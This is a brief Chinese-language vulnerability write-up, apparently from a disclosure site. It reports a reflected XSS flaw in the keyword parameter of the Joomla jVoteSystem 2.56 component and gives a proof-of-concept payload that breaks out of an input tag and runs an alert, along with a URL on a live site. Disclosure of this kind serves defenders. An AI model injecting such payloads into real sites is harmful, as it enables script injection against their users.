### 0x01 漏洞简介
Joomla jVoteSystem 2.56 Component的参数keyword存在反射性的XSS漏洞。
### 0x02 漏洞分析
```
http://www.9u4u.be/index.php?option=com_jvotesystem&view=polls&cat=cw&keyword=1&Itemid=12#jvotesystem
```
![](https://images.seebug.org/contribute/292668cb-575f-4f11-9604-a02d733de6d1)
构造如下payload:
```
1" onmouseover=javascript:alert(/MobhaM/) bad="
```
赋值给keyword,生成的html代码如下:
![](https://images.seebug.org/contribute/8c8e0e86-8b4f-4876-ba6a-31de347a1c6d)
成功闭合<input>标签,并执行了javascript代码。
### 0x03漏洞证明
![](https://images.seebug.org/contribute/144487aa-87d8-4347-bcd7-925121de4672)
暂无评论